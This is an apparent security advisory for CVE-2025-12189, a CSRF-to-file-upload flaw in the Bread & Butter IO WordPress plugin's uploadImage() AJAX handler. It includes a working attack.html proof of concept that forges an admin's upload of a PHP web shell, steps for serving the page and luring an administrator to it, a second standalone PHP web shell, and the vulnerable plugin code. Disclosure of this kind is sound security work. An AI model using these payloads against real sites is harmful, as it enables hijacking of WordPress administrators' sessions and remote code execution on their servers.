CVE-2025-12189

The Bread & Butter IO plugin contains a vulnerability in its image upload functionality that allows any attacker to trick authenticated administrators into uploading arbitrary files to the server, including PHP web shells, leading to Remote Code Execution (RCE). The vulnerability stems from the uploadImage() function lacking CSRF protection, allowing attackers to craft malicious requests that administrators’ browsers will automatically execute.

The vulnerability exists in the uploadImage() function in /bread-butter/src/Base/Ajax.php which lacks proper file validation and CSRF protection, while using file_put_contents() to write files directly to the WordPress uploads directory before any security checks.

TL;DR Exploits

  • A POC attack.html is provided below to demonstrate CSRF-based file upload exploitation.
  • A more realistic example is provided too at email-lure.html

Here’s the simple attack.html:

<!DOCTYPE html>
<html>
<body>
    <button onclick="exploit()">CSRF Attack</button>
    <script>
        function exploit() {
            const form = document.createElement('form');
            form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
            form.method = 'POST';
            form.enctype = 'multipart/form-data';
            form.target = '_blank';
            form.style.display = 'none';
            
            // Action field
            const action = document.createElement('input');
            action.name = 'action';
            action.value = 'upload_image';
            form.appendChild(action);
            
            // File field
            const file = document.createElement('input');
            file.type = 'file';
            file.name = 'file';
            const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
            const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
            const dt = new DataTransfer();
            dt.items.add(phpFile);
            file.files = dt.files;
            form.appendChild(file);
            
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

For a POC you can run it locally with something like:

# Serve the CSRF exploit
python3 -m http.server 1337

# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami

Once logged in as an admin on the victim’s browser, clicking the link leads to RCE.

Vulnerability Details

Root Cause Analysis

The vulnerability exists in the uploadImage() function at line 411 of /bread-butter/src/Base/Ajax.php:

public function uploadImage() {
    $this->checkAdmin();                   
    $file = $_FILES['file'];               

    $type = $file['type'];                 
    $name = $file['name'];                
    $image_url = $file['tmp_name'];        

    $upload_dir = wp_upload_dir();         
    $image_data = file_get_contents($image_url);
    $filename = basename($name); 

    
    if (wp_mkdir_p($upload_dir['path'])) {
        $file = $upload_dir['path'] . '/' . $filename;    
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }

    file_put_contents($file, $image_data);  // Attacker get's file moved to acessable storage!

    // Post-upload processing (after vulnerability is exploited)
    $wp_filetype = wp_check_filetype($filename, null); 
    // ... rest of function
}

AJAX Handler Registration

The vulnerable function is registered as a WordPress AJAX handler at line 95:

add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));

Where self::$uploadImage is defined as upload_image at line 37.

Authorization Check

The only security control is the checkAdmin() method at lines 166-171:

public function checkAdmin() {
    if (!current_user_can('manage_options')) {
        echo 0;
        wp_die();
    }
}

CSRF Exploitation

The lack of CSRF protection makes this vulnerability exploitable via Cross-Site Request Forgery attacks. The attack.html POC demonstrates this by:

  1. Creating a malicious form that targets the WordPress AJAX endpoint
  2. Using target="_blank" to bypass CORS restrictions
  3. Embedding a PHP web shell directly in the HTML/JavaScript
  4. Automatically submitting the form when the victim clicks the button

Manual Reproduction

CSRF to RCE Exploitation

  1. Create an HTML page with the CSRF payload (see attack.html)
  2. Serve the page on any web server (attacker-controlled)
  3. Trick an administrator into visiting the malicious page
  4. The administrator’s browser will automatically submit the form
  5. The malicious file will be uploaded to their WordPress site
  6. Access the uploaded shell at /wp-content/uploads/[year]/[month]/test.php?cmd=whoami

Direct Exploitation (Admin Required)

  1. Login to WordPress admin panel with administrator privileges
  2. Navigate to the Bread & Butter plugin settings
  3. Use the image upload functionality or send direct AJAX request to /wp-admin/admin-ajax.php
  4. Upload a PHP file with malicious content:
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    echo "Shell ready. Use ?cmd=command";
}
?>
  1. Access the uploaded file at /wp-content/uploads/[year]/[month]/[filename].php